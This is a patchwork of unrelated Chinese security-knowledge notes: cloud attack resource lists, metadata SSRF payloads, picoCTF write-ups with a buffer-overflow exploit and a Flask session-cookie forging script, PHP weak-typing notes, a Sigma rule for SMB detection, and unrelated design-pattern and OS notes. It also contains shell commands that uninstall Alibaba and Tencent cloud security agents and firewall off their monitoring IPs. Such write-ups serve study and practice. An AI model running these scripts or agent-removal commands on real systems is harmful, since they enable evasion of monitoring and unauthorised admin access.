sudo rm -fr /etc/init.d/agentwatch /usr/sbin/aliyun-service
sudo rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
fi
# 屏蔽云盾 IP，用包过滤屏蔽如下 IP
iptables -I INPUT -s 140.205.201.0/28 -j DROP
iptables -I INPUT -s 140.205.201.16/29 -j DROP
iptables -I INPUT -s 140.205.201.32/28 -j DROP
iptables -I INPUT -s 140.205.225.192/29 -j DROP
iptables -I INPUT -s 140.205.225.200/30 -j DROP
iptables -I INPUT -s 140.205.225.184/29 -j DROP
iptables -I INPUT -s 140.205.225.183/32 -j DROP
iptables -I INPUT -s 140.205.225.206/32 -j DROP
iptables -I INPUT -s 140.205.225.205/32 -j DROP
service iptables save
service iptables restart
# 卸载云监控 Java 版本插件
sudo /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop
sudo /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove
sudo rm -rf /usr/local/cloudmonitor
# 检查阿里云盾是否卸载干净
ps -aux | grep -E 'aliyun|AliYunDun' | grep -v grep
```
**Windows 主机**
```bash
http://update.aegis.aliyun.com/download/uninstall.bat
```
---
## AWS
**相关文章**
- [Attacking AWS: the full cyber kill chain](https://www.securing.biz/en/attacking-aws-the-full-cyber-kill-chain/index.html)
- [AWS EC2 弹性计算服务攻防](https://mp.weixin.qq.com/s/6MaRiXk5_VUYfL1TWcGR4Q)
- [The dangers of trust policies in AWS](https://blog.nviso.eu/2022/10/25/the-dangers-of-trust-policies-in-aws/)
**相关工具**
- [toniblyx/prowler](https://github.com/toniblyx/prowler) - 用于 AWS 的实践评估，审计，强化和取证准备工具的命令行工具
- [RhinoSecurityLabs/pacu](https://github.com/RhinoSecurityLabs/pacu) - 开源的 AWS 利用框架
- [arkadiyt/aws_public_ips](https://github.com/arkadiyt/aws_public_ips) - 获取与 AWS 账户相关的所有公共 IP 地址.
- [BishopFox/smogcloud](https://github.com/BishopFox/smogcloud) - 查找拥有的暴露的AWS云资产
**资源**
- [AWS-related penetration testing scripts, tools and Cheatsheets](https://github.com/mgeeky/Penetration-Testing-Tools/tree/master/clouds/aws) - 与 AWS 相关的渗透测试脚本，工具和备忘单
### Lambda
**相关文章**
- [AWS Lambda Command Injection](https://towardsaws.com/aws-lambda-command-injection-124a5cc44be7)
### S3
**什么是 S3**
Amazon S3 (Simple Storage Service) 简单存储服务，是 Amazon 的公开云存储服务，与之对应的协议被称为 S3 协议，目前 S3 协议已经被视为公认的行业标准协议，因此目前国内主流的对象存储厂商基本上都会支持 S3 协议。
**相关文章**
- [How security researchers discover open Amazon S3 servers](https://www.devicelock.com/blog/how-security-researchers-discover-open-amazon-s3-servers.html)
- [Blog, Whats in Amazon's buckets? - DigiNinja](https://digi.ninja/blog/whats_in_amazons_buckets.php)
- [Bucket Finder - DigiNinja](https://digi.ninja/projects/bucket_finder.php)
- [PayloadsAllTheThings/AWS Amazon Bucket S3](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/AWS%20Amazon%20Bucket%20S3)
- [使用Python批量扫描Amazon S3 Bucket配置问题](https://www.freebuf.com/column/229760.html)
- [【云安全】AWS S3 对象存储攻防](https://mp.weixin.qq.com/s/aqTnyNgTSBan_FpqfFRb7Q)
**案例**
- [#189023 S3 ACL misconfiguration](https://hackerone.com/reports/189023)
- [#229690 Amazon S3 bucket misconfiguration (share)](https://hackerone.com/reports/229690)
- [#172549 Possible Blind Writing to S3 Bucket](https://hackerone.com/reports/172549)
- [#209223 Open S3 Bucket WriteAble To Any Aws User](https://hackerone.com/reports/209223)
- [#129381 niche s3 buckets are readable/writeable/deleteable by authorized AWS users](https://hackerone.com/reports/129381)
**相关工具**
- [gwen001/s3-buckets-finder](https://github.com/gwen001/s3-buckets-finder)
- [brianwarehime/inSp3ctor](https://github.com/brianwarehime/inSp3ctor) - AWS S3 存储桶/对象查找器
- [eth0izzle/bucket-stream](https://github.com/eth0izzle/bucket-stream) - 通过查看证书透明性日志查找有趣的 S3 存储桶。
- [jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) - 在 S3 存储桶中查找有趣文件的安全工具
- [ankane/s3tk](https://github.com/ankane/s3tk) - Amazon S3 的安全工具包
- [0xSearches/sandcastle](https://github.com/0xSearches/sandcastle/) - 适用于 AWS S3 存储桶枚举的 Python 脚本。
- [hahwul/s3reverse](https://github.com/hahwul/s3reverse) - 将 s3 bucket 格式转换为各种格式
- [sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
---
## Azure
**相关文章**
- [Azure攻击路径](https://mp.weixin.qq.com/s/p_7wAKpYUGk5Sg09pHibLQ)
- [COMMON CONDITIONAL ACCESS MISCONFIGURATIONS AND BYPASSES IN AZURE](https://www.trustedsec.com/blog/common-conditional-access-misconfigurations-and-bypasses-in-azure/)
- [DEFENDING THE GATES OF MICROSOFT AZURE WITH MFA](https://www.trustedsec.com/blog/defending-the-gates-of-microsoft-azure-with-mfa/)
**相关工具**
- [blacklanternsecurity/TREVORspray](https://github.com/blacklanternsecurity/TREVORspray) - TREVORspray is a modular password sprayer with threading, clever proxying, loot modules, and more!
- [nyxgeek/onedrive_user_enum](https://github.com/nyxgeek/onedrive_user_enum) - onedrive user enumeration - pentest tool to enumerate valid o365 users
- [gremwell/o365enum](https://github.com/gremwell/o365enum) - Enumerate valid usernames from Office 365 using ActiveSync, Autodiscover v1, or office.com login page.
- [dafthack/MSOLSpray](https://github.com/dafthack/MSOLSpray) - A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.
### 云对象存储
**相关文章**
- [【云安全】微软云对象存储攻防](https://mp.weixin.qq.com/s/u0G26dvipWYXdg3jbD6y4w)
**相关案例**
- [Wiz Research discovers "ExtraReplica"— a cross-account database vulnerability in Azure PostgreSQL](https://www.wiz.io/blog/wiz-research-discovers-extrareplica-cross-account-database-vulnerability-in-azure-postgresql/)
- [How we broke the cloud with two lines of code: the full story of ChaosDB](https://www.wiz.io/blog/how-we-broke-the-cloud-with-two-lines-of-code-the-full-story-of-chaosdb/)
- https://www.youtube.com/watch?v=QiJAxo30w6U
### Azure AD
**相关文章**
- [如何利用Azure获取活动目录信息](https://www.anquanke.com/post/id/158926)
- [What is Azure Active Directory?](https://adsecurity.org/?p=4211)
**相关资源**
- [rootsecdev/Azure-Red-Team](https://github.com/rootsecdev/Azure-Red-Team) - Azure Security Resources and Notes
---
## 腾讯云
**相关工具**
- [freeFV/Tencent_Yun_tools](https://github.com/freeFV/Tencent_Yun_tools)
**相关文章**
- [腾讯云服务器攻防（CVM+轻量应用服务器）](https://mp.weixin.qq.com/s/Sn3-e0mU-mrzzEXwWJUX6A)
### COS
**相关文章**
- [【云安全】腾讯云COS对象存储攻防](https://mp.weixin.qq.com/s/CyyH7rIJTfMa0V8m4murqw)
### 卸载腾讯云监控
**Linux主机**
```bash
if ps aux | grep -i '[y]unjing'; then # 屏蔽腾讯云镜
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
rm -rf /usr/local/qcloud/
rm -rf /usr/local/sa/
rm -rf /usr/local/agenttools
```
**Windows主机**
```bash
程序安装路径是C:\Program Files\QCloud\Stargate和C:\Program Files\QCloud\Monitor
双击目录里面的 uninstall 脚本进行卸载
```
---
## metadata 泄露
**简介**
元数据服务是一种提供查询运行中的实例内元数据的服务，当实例向元数据服务发起请求时，该请求不会通过网络传输，如果获得了目标权限或者目标存在 SSRF 漏洞，就可以获得到实例的元数据。
通过元数据，攻击者除了可以获得云主机上的一些属性信息之外，有时还可以获得与该实例绑定角色的临时凭证，并通过该临时凭证获得云服务器的控制台权限，进而横向到其他机器。
**相关资源**
- https://github.com/projectdiscovery/nuclei-templates/tree/master/misconfiguration/proxy
- https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b
**相关文章**
- [Cloud Penetration Testing the Capital One Breach](https://cloudsecurityalliance.org/blog/2019/10/10/cloud-penetration-testing-the-capital-one-breach/)
**payload**
```bash
# aliyun
http://100.100.100.200/
http://100.100.100.200/latest/meta-data
# aws
http://169.254.169.254/latest/user-data
```
---
## Serverless
**相关资源**
- [puresec/awesome-serverless-security](https://github.com/puresec/awesome-serverless-security) - serverless 安全相关的资源合集
- [OWASP/Serverless-Top-10-Project](https://github.com/OWASP/Serverless-Top-10-Project) - OWASP serverless TOP10
**相关文章**
- [serverless](https://aotu.io/notes/2019/08/05/serverless/) - 介绍了什么是 Serverless
- [puresec/sas-top-10](https://github.com/puresec/sas-top-10) - 对 OWASP TOP10 的一篇详细的概括
- [The Test Labs](https://thetestlabs.io/code/exploiting-common-serverless-security-flaws-in-aws/)
- [Securing Lambda Functions](https://www.keithrozario.com/2019/02/securing-lambda-functions.html)
- [A Deep Dive into Serverless Attacks, SLS | Protego](https://www.protego.io/category/a-deep-dive-into-serverless-attacks/)
- [曾垚（火线安全）-Serverless应用安全浅谈](https://mp.weixin.qq.com/s/6liTZakSiCeam-bOOvq5Xg)
**靶场**
- [OWASP/Serverless-Goat](https://github.com/OWASP/Serverless-Goat) - OWASP 的 Serverless 靶场
- [OWASP ServerlessGoat - Vulnerable Serverless Application](https://www.serverless-hack.me/) - 是上面靶场的在线版
- [Lambda Shell](http://www.lambdashell.com/) - 一个在线的靶机
- [OWASP/DVSA: a Damn Vulnerable Serverless Application](https://github.com/OWASP/DVSA) - 一个 Serverless 靶场
|
sec-knowleage
|
# 一、前言
设计模式是解决问题的方案，学习现有的设计模式可以做到经验复用。拥有设计模式词汇，在沟通时就能用更少的词汇来讨论，并且不需要了解底层细节。
# 二、创建型
- [单例.md](notes/设计模式%20%20-%20单例.md)
- [简单工厂.md](notes/设计模式%20-%20简单工厂.md)
- [工厂方法.md](notes/设计模式%20-%20工厂方法.md)
- [抽象工厂.md](notes/设计模式%20-%20抽象工厂.md)
- [生成器.md](notes/设计模式%20-%20生成器.md)
- [原型模式.md](notes/设计模式%20-%20原型模式.md)
# 三、行为型
- [责任链.md](notes/设计模式%20-%20责任链.md)
- [命令.md](notes/设计模式%20-%20命令.md)
- [解释器.md](notes/设计模式%20-%20解释器.md)
- [迭代器.md](notes/设计模式%20-%20迭代器.md)
- [中介者.md](notes/设计模式%20-%20中介者.md)
- [备忘录.md](notes/设计模式%20-%20备忘录.md)
- [观察者.md](notes/设计模式%20-%20观察者.md)
- [状态.md](notes/设计模式%20-%20状态.md)
- [策略.md](notes/设计模式%20-%20策略.md)
- [模板方法.md](notes/设计模式%20-%20模板方法.md)
- [访问者.md](notes/设计模式%20-%20访问者.md)
- [空对象.md](notes/设计模式%20-%20空对象.md)
# 四、结构型
- [适配器.md](notes/设计模式%20-%20适配器.md)
- [桥接.md](notes/设计模式%20-%20桥接.md)
- [组合.md](notes/设计模式%20-%20组合.md)
- [装饰.md](notes/设计模式%20-%20装饰.md)
- [外观.md](notes/设计模式%20-%20外观.md)
- [享元.md](notes/设计模式%20-%20享元.md)
- [代理.md](notes/设计模式%20-%20代理.md)
# 参考资料
- 弗里曼. Head First 设计模式 [M]. 中国电力出版社, 2007.
- Gamma E. 设计模式: 可复用面向对象软件的基础 [M]. 机械工业出版社, 2007.
- Bloch J. Effective java[M]. Addison-Wesley Professional, 2017.
- [Design Patterns](http://www.oodesign.com/)
- [Design patterns implemented in Java](http://java-design-patterns.com/)
- [The breakdown of design patterns in JDK](http://www.programering.com/a/MTNxAzMwATY.html)
|
sec-knowleage
|
# buffer overflow 0
Binary Exploitation, 150 points
## Description:
> Let's start off simple, can you overflow the right buffer in this program to get the flag?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}
void vuln(char *input){
char buf[16];
strcpy(buf, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
if (argc > 1) {
vuln(argv[1]);
printf("Thanks! Received: %s", argv[1]);
}
else
printf("This program takes 1 argument.\n");
return 0;
}
```
## Solution:
The program check if any command line arguments were passed to it (`argc > 1`), and if so, passes the first command line as a parameter for `vuln`.
`vuln` then tries to copy the argument into a local buffer of size 16.
It's easy to see that if we pass an argument longer than 16 bytes, we will overflow the local buffer. If the argument is long enough, we will cause a segmentation fault and trigger the `sigsegv_handler`, printing the flag.
Solving this with pwntools is a bit of an overkill since we can easily just call `./vuln $(python -c "print 'A'*32")`, but it's a nice opportunity to practice.
The code:
```python
from pwn import *
import argparse
import os
EXECUTABLE = "vuln"
LOCAL_PATH = "./"
REMOTE_PATH = "/problems/buffer-overflow-0_0_6461b382721ccca2318b1d981d363924/"
SSH_SERVER = "2018shell3.picoctf.com"
def get_process(ssh_user = None, arguments = None):
if arguments is None:
arguments = []
if type(arguments) is not list:
raise ValueError("Invalid type for 'arguments' ({}), expecting list or None".format(type(arguments)))
if ssh_user is not None:
s = ssh(host=SSH_SERVER, user=ssh_user)
p = s.process(argv = [REMOTE_PATH + EXECUTABLE] + arguments, cwd = REMOTE_PATH)
elif os.path.exists(REMOTE_PATH):
p = process(argv = [REMOTE_PATH + EXECUTABLE] + arguments, cwd = REMOTE_PATH)
else:
p = process(argv = [LOCAL_PATH + EXECUTABLE] + arguments, cwd = LOCAL_PATH)
return p
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--ssh_user", help="Connect via SSH with the given username")
args = parser.parse_args()
p = get_process(args.ssh_user, [cyclic(32)])
print p.recvall()
```
Basically, the script just calls the `vuln` process with a string of length 32 (generated using `cyclic`) and prints the response, which contains the flag.
It can do this either over SSH or locally.
```console
root@kali:/media/sf_CTFs/pico/buffer_overflow_0# python exploit.py --ssh_user $pico_ssh_username
[+] Connecting to 2018shell3.picoctf.com on port 22: Done
[*] user@2018shell3.picoctf.com:
Distro Ubuntu 16.04
OS: linux
Arch: amd64
Version: 4.4.0
ASLR: Enabled
[+] Starting remote process '/problems/buffer-overflow-0_0_6461b382721ccca2318b1d981d363924/vuln' on 2018shell3.picoctf.com: pid 27603
[+] Receiving all data: Done (43B)
[*] Stopped remote process 'vuln' on 2018shell3.picoctf.com (pid 27603)
picoCTF{ov3rfl0ws_ar3nt_that_bad_a54b012c}
```
The flag: picoCTF{ov3rfl0ws_ar3nt_that_bad_a54b012c}
|
sec-knowleage
|
# Flaskcards Skeleton Key
Web Exploitation, 600 points
## Description:
> Nice! You found out they were sending the Secret_key: 06f4eefabf03b8f4e521fbdada13f65c. Now, can you find a way to log in as admin?
## Solution:
We are presented with a Flask-based website which allows us to register and log in.
Upon logging in, we receive a cookie similar to the following:
```
<Cookie session=.eJwlj0FqQzEMRO_idRaSZclWLvORZYmGQAv_J6vSu8fQ5czwhpnfcuQZ11e5v8533MrxWOVeqkfMqWAdMlhgUOhIWNZH68Si3psg6GhO3FIXQXTnCIGVMWVJMEuoqm9ritqYYsp9oTek4QjY55RsdZiQuC3ZRdQ367ys3IpfZx6vn2d87z1ku3PHFUeVigqUgTLD0DQyALYw1rG59xXn_wni8vcB5xI_EA.Dst08g.oFWrLrk8A_EiZx4mX1BH9-qNCx8 for 2018shell3.picoctf.com/>
```
As explained [in this writeup](https://terryvogelsang.tech/MITRECTF2018-my-flask-app/), given the secret key (which was provided in the description), we can decode and/or forge the cookie. [This](https://www.kirsle.net/wizards/flask-session.cgi#source) online tool has some more information as well.
Heavily based on the code provided in both links, the following script will register and sign in to our website, decode the session cookie, replace the user ID to an Admin ID, and login as admin to receive the flag.
The script:
```python
from itsdangerous import URLSafeTimedSerializer, base64_decode
from flask.sessions import session_json_serializer
from hashlib import sha1
from pwn import *
import requests
import json
import zlib
import re
URL = "http://2018shell3.picoctf.com:5953"
SECRET_KEY = '06f4eefabf03b8f4e521fbdada13f65c'
COOKIE_NAME = "session"
class Flaskcards(object):
def __init__(self, url):
self.session = requests.Session()
self.url = url
self.username = None
self.password = None
def Register(self, username, password):
log.info("Registering with username '{}', password '{}'".format(username, password))
register_url = "{}/register".format(self.url)
r = self.session.get(register_url)
csrf = self._get_csrf(r.text)
r = self.session.post(register_url, data = {"csrf_token": csrf, 'username': username, 'password': password, 'password2': password})
assert("Successfully registered" in r.text)
self.username = username
self.password = password
return r
def Login(self):
if self.username is None or self.password is None:
raise Exception("Must register first!")
username = self.username
password = self.password
log.info("Logging in with username '{}', password '{}'".format(username, password))
login_url = "{}/login".format(self.url)
r = self.session.get(login_url)
csrf = self._get_csrf(r.text)
r = self.session.post(login_url, data = {"csrf_token": csrf, 'username': username, 'password': password, 'remember_me': "n"})
assert("Welcome {}!".format(username) in r.text)
return r
def GetCookie(self, name):
return self.session.cookies[name]
@staticmethod
def _get_csrf(text):
csrf = re.search('input id="csrf_token" name="csrf_token" type="hidden" value="([^"]+)"', text).group(1)
return csrf
class FlaskForger(object):
def __init__(self, secret_key):
self.signer = URLSafeTimedSerializer(secret_key, salt='cookie-session', serializer=session_json_serializer,
signer_kwargs={'key_derivation': 'hmac', 'digest_method': sha1})
def forgeSession(self, payload):
gen_payload = self.signer.dumps(payload)
log.info("Generated signed cookie : {}".format(gen_payload))
return gen_payload
@classmethod
def decodeCookiePayload(cls, session):
start = 1 if session[0] == '.' else 0
session_payload = session[start:].split('.')[0]
log.info("Session data: {}".format(session_payload))
decoded_session_payload = base64_decode(session_payload)
decompressed_session_payload = zlib.decompress(decoded_session_payload)
return decompressed_session_payload
flsk = Flaskcards(URL)
flsk.Register(randoms(10), randoms(10))
flsk.Login()
old_cookie_val = flsk.GetCookie(COOKIE_NAME)
log.info("Original cookie: {}".format(old_cookie_val))
forger = FlaskForger(SECRET_KEY)
decoded = FlaskForger.decodeCookiePayload(old_cookie_val)
log.info("Original cookie data: {}".format(decoded))
j = json.loads(decoded)
j["user_id"] = "1"
log.info("New cookie data: {}".format(json.dumps(j)))
new_cookie_val = forger.forgeSession(j)
cookie = {COOKIE_NAME: new_cookie_val}
r = requests.get('{}/admin'.format(URL), cookies=cookie)
for line in r.text.split("\n"):
if "picoCTF" in line:
print (line)
```
The output:
```
root@kali:/media/sf_CTFs/pico/Flaskcards_Skeleton_Key/v2# python exploit.py
[*] Registering with username 'ubcazabyng', password 'hhdjfuysxf'
[*] Logging in with username 'ubcazabyng', password 'hhdjfuysxf'
[*] Original cookie: .eJwlj0tqQzEMRfficQZyZMlSNvPQz7QUWngvGZXuPYZOD5z7-W3HOuv6aI_n-apbOz6zPdo9qtwVbMIqYhAslQVpU8ZEYo05uIPKCKSxNBFqBlUx5Crn5CLiUtXYyFlNnE1pZo_RUaJDn-68xl2MkcOSdxDO7QaltVuL61zH8-ervvce7F40HQZKdyDcZWulhdEoSlEx2jBre6-rzv8Tg9rfGwH_P98.Dst6EQ.DsX3j2UFIVVeaPHjTY0zfcrLQkw
[*] Session data: eJwlj0tqQzEMRfficQZyZMlSNvPQz7QUWngvGZXuPYZOD5z7-W3HOuv6aI_n-apbOz6zPdo9qtwVbMIqYhAslQVpU8ZEYo05uIPKCKSxNBFqBlUx5Crn5CLiUtXYyFlNnE1pZo_RUaJDn-68xl2MkcOSdxDO7QaltVuL61zH8-ervvce7F40HQZKdyDcZWulhdEoSlEx2jBre6-rzv8Tg9rfGwH_P98
[*] Original cookie data: {"_fresh":true,"_id":"2ceebb90a70fe56083e98f0da78473569c74610984c354f9d30e7c5ee60dfeb6d6e556e999ce60b69a8b6a957d1c4138c1017bb6f428a636cad635437eb6c5da","csrf_token":"31be57b04381b053e7cffdaca54e5d898a553ede","user_id":"45"}
[*] New cookie data: {"csrf_token": "31be57b04381b053e7cffdaca54e5d898a553ede", "_fresh": true, "user_id": "1", "_id": "2ceebb90a70fe56083e98f0da78473569c74610984c354f9d30e7c5ee60dfeb6d6e556e999ce60b69a8b6a957d1c4138c1017bb6f428a636cad635437eb6c5da"}
[*] Generated signed cookie : .eJwdj0tqQzEMRbdSPM5Aji1ZCmQJHXQFD_1MS6GF95JRyN5jMj1w7udRtrnn8V0ut_2ep7L9RLmUs2eaCeiAmUjALYUnhA7uoyGJj04VhLs37FOiQQ7HTIKYaRSUiJQi4gsZibKRCo6o3mtjr1CHGc1-ZqVGrkErqI3lOoaWU_Fjn9vt_zf_1p5WLXEY9MbVANsqmzPUFXtisLDigpHLux-5v088yoct9fPrei3P5wtOO0KG.Dst6Ew.SsowHM9RmbngCyg9xAjZo6lW8BQ
<p> Your flag is: picoCTF{1_id_to_rule_them_all_1879a381} </p>
```
The flag: picoCTF{1_id_to_rule_them_all_1879a381}
|
sec-knowleage
|
原文 by 乘物游心
## PHP弱类型简介
在PHP中，可以进行以下的操作：
```
$param = 1;
$param = array();
$param = "stringg";
```
弱类型的语言对变量的数据类型没有限制，你可以在任何地时候将变量赋值给任意的其他类型的变量，同时变量也可以转换成任意的其他类型的数据。
### 类型转换问题
类型转换是无法避免的问题。例如需要将GET或者是POST的参数转换为int类型，或者是两个变量不匹配的时候，PHP会自动地进行变量转换。但是PHP是一个弱类型的语言，导致在进行类型转换的时候会存在很多意想不到的问题。
#### 比较操作符
类型转换
在$a==$b的比较中
```
$a=null;$b=flase ; //true
$a='';$b=null; //true
```
这样的例子还有很多，这种比较都是相等。使用比较操作符的时候也存在类型转换的问题，如下：
```
0=='0' //true
0 == 'abcdefg' //true
0 === 'abcdefg' //false
1 == '1abcdef' //true
```
当不同类型的变量进行比较的时候就会存在变量转换的问题，在转换之后就有可能会存在问题。
Hash比较
除了以上的这种方式之外在进行hash比较的时候也会存在问题。如下：
```
"0e132456789"=="0e7124511451155"//true
"0e123456abc"=="0e1dddada" //false
"0e1234"=="0" //true
```
在进行比较运算时，如果遇到了0e\d+这种字符串，就会将这种字符串解析为科学计数法。所以上面例子中2个数的值都是0因而就相等了。如果不满足0e\d+这种模式就不会相等。
十六进制转换
还存在一种十六进制余字符串进行比较运算时的问题。例子如下：
```
"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240" //false
```
当其中的一个字符串是0x开头的时候，PHP会将此字符串解析成为十进制然后再进行比较，0x1240解析成为十进制就是123456，所以与int类型和string类型的123456比较都是相等。
#### 类型转换
常见的转换主要就是int转换为string，string转换为int。
int转string：
```
$var = 5;
方式1：$item = (string)$var;
方式2：$item = strval($var);
```
string转int：intval()函数。
对于这个函数，可以先看2个例子。
```
var_dump(intval('2')) //2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0
```
说明intval()转换的时候，会将从字符串的开始进行转换知道、、直到遇到一个非数字的字符。即使出现无法转换的字符串，intval()不会报错而是返回0。同时，程序员在编程的时候也不应该使用如下的这段代码：
```
if(intval($a)>1000) {
mysql_query("select * from news where id=".$a)
}
```
这个时候$a的值有可能是1002 union…..
### 内置函数的参数的松散性
内置函数的松散性说的是，调用函数时给函数传递函数无法接受的参数类型。解释起来有点拗口，还是直接通过实际的例子来说明问题，下面会重点介绍几个这种函数。
#### md5()
```
$array1[] = array(
"foo" => "bar",
"bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==var_dump($array2)); //true
```
PHP手册中的md5()函数的描述是string md5 ( string $str [, bool $raw_output = false ] )，md5()中的需要是一个string类型的参数。但是当你传递一个array时，md5()不会报错，只是会无法正确地求出array的md5值，这样就会导致任意2个array的md5值都会相等。
#### strcmp()
strcmp()函数在PHP官方手册中的描述是int strcmp ( string $str1 , string $str2 ),需要给strcmp()传递2个string类型的参数。如果str1小于str2,返回-1，相等返回0，否则返回1。strcmp函数比较字符串的本质是将两个变量转换为ascii，然后进行减法运算，然后根据运算结果来决定返回值。如果传入给出strcmp()的参数是数字呢？
```
$array=array(1,2,3);
var_dump(strcmp($array,'123')); //null,在某种意义上null也就是相当false。
```
#### switch()
如果switch是数字类型的case的判断时，switch会将其中的参数转换为int类型。如下：
```
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}
```
这个时候程序输出的是i is less than 3 but not negative，是由于switch()函数将$i进行了类型转换，转换结果为2。
#### in_array()
在PHP手册中，in_array()函数的解释是bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ),如果strict参数没有提供，那么in_array就会使用松散比较来判断$needle是否在$haystack中。当strict的值为true时，in_array()会比较needls的类型和haystack中的类型是否相同。
```
$array=array(0,1,2,'3');
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true
```
可以看到上面的情况返回的都是true,因为 'abc' 会转换为0，'1bc' 转换为1。array_search()与in_array()也是一样的问题。
## Reference
[weakly-typed-security](http://blog.spoock.com/2016/06/25/weakly-typed-security/)
|
sec-knowleage
|
dpkg-preconfigure
===
Debian Linux中软件包安装之前询问问题
## 补充说明
**dpkg-preconfigure命令** 用于在Debian Linux中软件包安装之前询问问题。
### 语法
```shell
dpkg-preconfigure(选项)(参数)
```
### 选项
```shell
-f：选择使用的前端；
-p：感兴趣的最低的优先级问题；
--apt：在apt模式下运行。
```
### 参数
软件包：指定“.deb”软件包。
### 实例
导入debconf模板：
```shell
dpkg-preconfigure /var/cache/apt/archives/mysql-server-5.5*.deb
```
|
sec-knowleage
|
# T1210-win-异常的SMB链接行为
## 来自ATT&CK的描述
攻击者一旦进入网络，便可能利用远程服务获得对内部系统的未授权访问。当攻击者利用程序，服务或操作系统软件或内核本身内的编程错误来执行攻击者控制的代码时，就会利用软件漏洞。建立立足点后利用远程服务的目标是横向移动以实现对远程系统的访问。
攻击者可能需要确定远程系统是否处于易受攻击状态，这可以通过网络服务扫描或其他发现方法来完成，以寻找在网络中部署的常见易受攻击软件，检测或包含远程利用的漏洞或安全软件。服务器可能是横向移动中的高价值目标，但是如果端点系统提供访问其他资源的方式，则端点系统也可能处于危险之中。
常见服务（例如SMB和RDP）以及可能在内部网络（例如MySQL）和Web服务器服务中使用的应用程序中存在多个众所周知的漏洞。
根据易受攻击的远程服务的权限级别，攻击者也可能由于横向移动利用而实现对特权升级的利用。
## 测试案例
识别通过端口445进行网络连接的可疑进程。Windows文件共享通常通过服务器消息块（SMB）实现，SMB使用端口445在主机之间进行通信。当合法时，这些网络连接由内核建立。建立445/tcp连接的进程可能是端口扫描程序、漏洞利用或横向移动的可疑用户级进程。
仅提供简单案例：
[在Windows中删除/切换已建立的Samba共享连接](https://blog.csdn.net/u013038461/article/details/39934061)
## 检测日志
windows安全日志
## 测试复现
暂无
## 测试留痕
暂无，仅提供检测规则相关的日志示例
windows server 2016/win10
```yml
The Windows Filtering Platform has allowed a connection.
Application Information:
Process ID: 1752
Application Name: \device\harddiskvolume1\windows\system32\dns.exe
Network Information:
Direction: Inbound
Source Address: 10.45.45.103
Source Port: 53
Destination Address: 10.45.45.103
Destination Port: 50146
Protocol: 17
Filter Information:
Filter Run-Time ID: 5
Layer Name: Receive/Accept
Layer Run-Time ID: 44
```
## 检测规则/思路
### sigma规则
```yml
title: 检测异常的SMB链接行为
description: 通过windows日志检测异常的SMB链接行为
tags: T1210
status: experimental
references:
- https://www.elastic.co/guide/en/siem/guide/current/direct-outbound-smb-connection.html
logsource:
product: windows
service: security
detection:
selection1:
EventID: 5156
Destination Port: 445
selection2:
Destination Address:
- 127.0.0.1
- ::1
selection3:
Process ID: 4
condition: selection1 and not selection2 and not selection3)
level: medium
```
### Elastic rule query
```yml
event.action:"Network connection detected (rule: NetworkConnect)" and
destination.port:445 and not process.pid:4 and not
destination.ip:(127.0.0.1 or "::1")
```
### 建议
规则未经线上测试，谨慎使用，但是我相信它能够很好的帮助你发现网内的威胁。
## 参考推荐
MITRE-ATT&CK-T1210
<https://attack.mitre.org/techniques/T1210>
检测异常的SMB链接行为
<https://www.elastic.co/guide/en/siem/guide/current/direct-outbound-smb-connection.html>
windows事件ID-5156样例
<https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=5156>
在Windows中删除/切换已建立的Samba共享连接
<https://blog.csdn.net/u013038461/article/details/39934061>
|
sec-knowleage
|
# 操作系统
> 注 : 笔记中拓扑图 drawio 源文件在其图片目录下
---
## API 差异性
应用程序必须根据不同的操作系统类似专门开发，cpu 的类型不同，所对应机器的语言也不同，同样，操作系统不同，应用程序向操作系统传递指令的途径也不同。
应用程序向系统传递指令的途径称为 API。windows 以及 linux 的 API 提供了应用程序可以利用的函数组合。不同的操作系统的 API 是不同的，要将应用程序移植到不同的操作系统，必须要覆盖所用到的 API 部分。
比如键鼠输入、屏幕显示、文件写入等等同外围设备交互的功能都使用 API 实现。
当然有些应用可以通过虚拟机实现多操作系统运行，如 JAVA，java 的源代码编译后生成的不是特定 CPU 使用的本地代码，而是字节码，运行在 JAVA 虚拟机中，java 虚拟机将字节码转换为本地代码执行。
---
## 特征
### windows
windows 有两个版本: 32 位和 64 位
**32 位操作系统**
这里的 32 位表示的是处理效率最高的数据大小，windows 处理数据的基本单位是 32 位。这与一开始在 MS-DOS 等 16 位操作系统不同，因为在 16 位操作系统中处理 32 位数据需要两次，所以一般在 windows 上的应用，最高能处理的数据都是 32 位的。
例如，用 C 语言处理整数数据时，有 8 位的 char 类型，16 位的 short 类型，以及 32 位的 long 类型三种，使用 long 进行处理，会增加内存和磁盘的开销，对性能影响不大。
**通过 API 函数集来提供系统调用**
windows 通过 API 函数集来提供系统调用，API 是联系应用程序和操作系统之间的接口。
